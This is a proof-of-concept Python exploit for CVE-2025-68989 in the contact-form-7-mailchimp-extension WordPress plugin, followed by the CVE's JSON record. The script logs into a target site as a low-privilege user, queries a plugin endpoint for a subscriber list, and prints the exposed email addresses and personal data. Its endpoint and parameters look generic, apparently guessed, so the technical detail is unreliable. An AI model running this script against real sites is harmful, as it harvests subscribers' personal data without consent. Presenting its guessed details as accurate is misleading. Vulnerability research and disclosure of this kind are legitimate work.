CVE-2025-68989

# CVE-2025-68989 PoC - Sensitive Data Exposure in contact-form-7-mailchimp-extension # This PoC demonstrates the data exposure vulnerability import requests import json TARGET_URL = "http://target-wordpress-site.com" VULNERABLE_ENDPOINT = f"{TARGET_URL}/wp-json/contact-form-7-mailchimp/v1/" def exploit_sensitive_data_exposure(): """ The vulnerability allows low-privilege users to retrieve sensitive data embedded in Mailchimp subscription data through the plugin's API endpoints. """ # Step 1: Authenticate with low-privilege account session = requests.Session() login_data = { 'username': 'low_priv_user', 'password': 'password123' } session.post(f"{TARGET_URL}/wp-login.php", data=login_data) # Step 2: Access vulnerable endpoint to retrieve embedded sensitive data vulnerable_params = { 'action': 'cf7_mailchimp_get_subscribers', 'list_id': 'target_list_id' } response = session.get( f"{VULNERABLE_ENDPOINT}get-subscribers", params=vulnerable_params ) # Step 3: Extract exposed sensitive data if response.status_code == 200: exposed_data = response.json() print(f"[+] Exposed sensitive data: {json.dumps(exposed_data, indent=2)}") # Vulnerable data may include: # - Email addresses # - Subscriber information # - Personal data embedded in Mailchimp fields return exposed_data return None if __name__ == "__main__": print("CVE-2025-68989 - contact-form-7-mailchimp-extension Sensitive Data Exposure") exploit_sensitive_data_exposure()

{"cve": {"id": "CVE-2025-68989", "sourceIdentifier": "[email protected]", "published": "2025-12-30T11:15:57.567", "lastModified": "2026-04-27T19:16:40.070", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insertion of Sensitive Information Into Sent Data vulnerability in Renzo Johnson contact-form-7-mailchimp-extension contact-form-7-mailchimp-extension allows Retrieve Embedded Sensitive Data.This issue affects contact-form-7-mailchimp-extension: from n/a through <= 0.9.68."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-201"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/contact-form-7-mailchimp-extension/vulnerability/wordpress-contact-form-7-extension-for-mailchimp-plugin-0-9-49-sensitive-data-exposure-vulnerability?_s_id=cve", "source": "[email protected]"}]}}